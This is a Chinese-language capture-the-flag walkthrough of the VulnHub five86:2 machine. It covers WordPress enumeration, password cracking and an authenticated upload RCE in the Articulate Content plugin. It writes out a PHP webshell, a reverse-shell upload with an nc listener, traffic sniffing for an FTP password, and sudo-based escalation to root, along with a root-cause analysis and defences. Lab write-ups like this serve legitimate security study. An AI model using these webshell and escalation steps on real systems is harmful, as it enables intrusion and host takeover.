five86: 2
来自 <five86: 2 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.137
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.137
4,尝试访问服务器80端口开放的http服务
扫描识别网站指纹信息
可以确认网站CMS采用了wordpress,那么就可以使用专用的扫描器进行信息收集
wpscan --url http://192.168.23.137
枚举用户,爆出五个用户:barney,gillian,peter,admin,stephen
wpscan --url http://192.168.23.137/ --enumerate u
4、将爆出的用户名保存到user.txt文件中,利用kali自带的rockyou.txt字典爆破密码
gunzip /usr/share/wordlists/rockyou.txt.gz
wpscan --url http://192.168.23.137 -U user.txt -P /usr/share/wordlists/rockyou.txt
barney/spooky1
stephen/apollo1
5,使用得到的账户密码进行登录,网页切换有问题,需要修改域名解析文件
然后在登录页面成功登录
插件在 WordPress 渗透中的风险点主要体现在:
- 未更新/存在已知 CVE 的插件
- 输入验证不严 → SQLi、XSS、LFI、RFI
- 上传机制缺陷 → 任意文件上传、图片马绕过
- 权限控制不当 → 未授权访问 / 提权
- 信息泄露 → 备份文件、调试信息
- 后门插件 → 黑帽SEO、恶意重定向
检索一下wordpress插件IEAC漏洞利用方法
searchsploit Insert or Embed Articulate Content
searchsploit -m 46981.txt
阅读使用方法
漏洞分析:Authenticated Code Execution
1. 漏洞插件背景
- 插件名称:Insert or Embed Articulate Content into WordPress
- 版本:4.2995 ≤ v ≤ 4.2997
- WordPress 版本:影响 5.1.1 (测试环境)
- 漏洞类型:已认证 RCE(任意代码执行)
- 原因:插件允许用户上传 ZIP 压缩包(用于导入 e-learning 内容),但上传后解压时 没有限制文件类型 → 导致可上传 .php 文件并执行。
2. 利用条件
- 需要一个 已认证账户(最低 Contributor 权限即可)
- 因为插件功能对低权限用户也开放。
- 插件必须启用并允许 ZIP 上传。
3. 漏洞利用步骤
3.1 制作恶意压缩包
攻击者创建一个 ZIP 文件,包含:
- index.html (正常的占位页面,避免上传失败)
- index.php (恶意 payload)
echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php
这里的 index.php 就是一个最简单的 WebShell,允许通过 ?cmd= 参数执行任意系统命令。
问题在 zsh 下执行 echo "<?php echo system($_GET['cmd']); ?>" 的时候,$_GET['cmd'] 被 zsh 当成数学运算或变量解析了,所以报错
3.2 上传恶意 ZIP
- 登录 WordPress 后台(任意 Contributor/Author/Editor/Admin 权限均可)。
- 新建文章 → Add block → 插件提供的 E-Learning 功能块 → 选择上传 ZIP → 插入为 Iframe。
插件会将 poc.zip 自动解压到:
/wp-admin/uploads/articulate_uploads/poc/
3.3 执行命令
上传后,攻击者可以直接访问上传目录中的 index.php,例如:
http://target.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami
此时,服务器会执行 whoami 并返回结果,说明命令执行成功。
攻击者可继续利用该 WebShell 执行任意系统命令,最终 控制整个网站和主机。
4. 漏洞根因
- 插件缺陷:
- 上传 ZIP 包时没有检查文件类型。
- 解压后没有过滤或禁止 .php 文件。
- 上传路径对外可访问,导致恶意文件能被直接执行。
- 正常安全做法:
- 上传时仅允许白名单(.html, .js, .css, .jpg 等)。
- 解压后重新扫描并删除非安全文件。
- 上传目录禁止执行 PHP(通过 .htaccess 或 Nginx 配置)。
5. 渗透测试价值
- 突破点:即使仅拿到一个低权限账号,也能快速升级到 RCE。
- 典型利用链:
- 信息收集 → 枚举插件版本(wpscan)
- 确认使用 insert-or-embed-articulate-content-into-wordpress v4.2997
- 弱口令 / 钓鱼 / XSS → 获取任意登录用户凭据
- 上传 poc.zip → Getshell → RCE → 横向渗透
6. 防御措施
- 立即升级插件,或者卸载该插件。
- 限制上传目录执行权限(uploads/ 禁止解析 PHP)。
- 用户权限收紧:限制 Contributor 权限。
- 使用安全插件(如 Wordfence)监控异常文件上传。
6,将kali中php-reverse-shell脚本上传形成后门以反弹shell
echo "<html>hello</html>" > index.html
cp /usr/share/webshells/php/php-reverse-shell.php webshell.php
mousepad webshell.php
zip poc.zip index.html webshell.php
上传文件成功
得到文件成功上传的位置
http://five86-2/wp-content/uploads/articulate_uploads/poc/webshell.php
与此同时打开对4444端口的监听
nc -lvvp 4444
创造可交互shell,失败
python3 -c 'import pty;pty.spawn("/bin/bash")'
7,然后进行信息收集
使用python3试试成功获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
之前爆破出的stephen用户,输入密码apollo1,成功切换用户,sudo -l需要密码,输入apollo1密码不对
发现stephen用户在一个pcap用户组中。然后分析一下pcap,在这可能是要进行流量分析
检查vethb679ac6流量,并保存在pcap文件1.pcap
抓包命令:timeout 120 tcpdump -w 1.pcap -i vethb679ac6(先切换到tmp目录)
timeout 120为2分钟,-w将结果输出到文件,-i是指定监听端口
tcpdump -r 1.pcap 用-r读取流量包中的数据
在数据包中找到ftp用户paul 密码是esomepasswford
成功切换用户
8,查看sudo权限提升操作,paul可以以peter权限执行service命令
sudo -u peter service ../../bin/bash
成功切换到peter用户
9,peter可以运行root权限的passwd命令,使用peter用户可以直接修改root密码
成功篡改root用户的密码,成功切换到root用户
sudo passwd root
cat thisistheflag.txt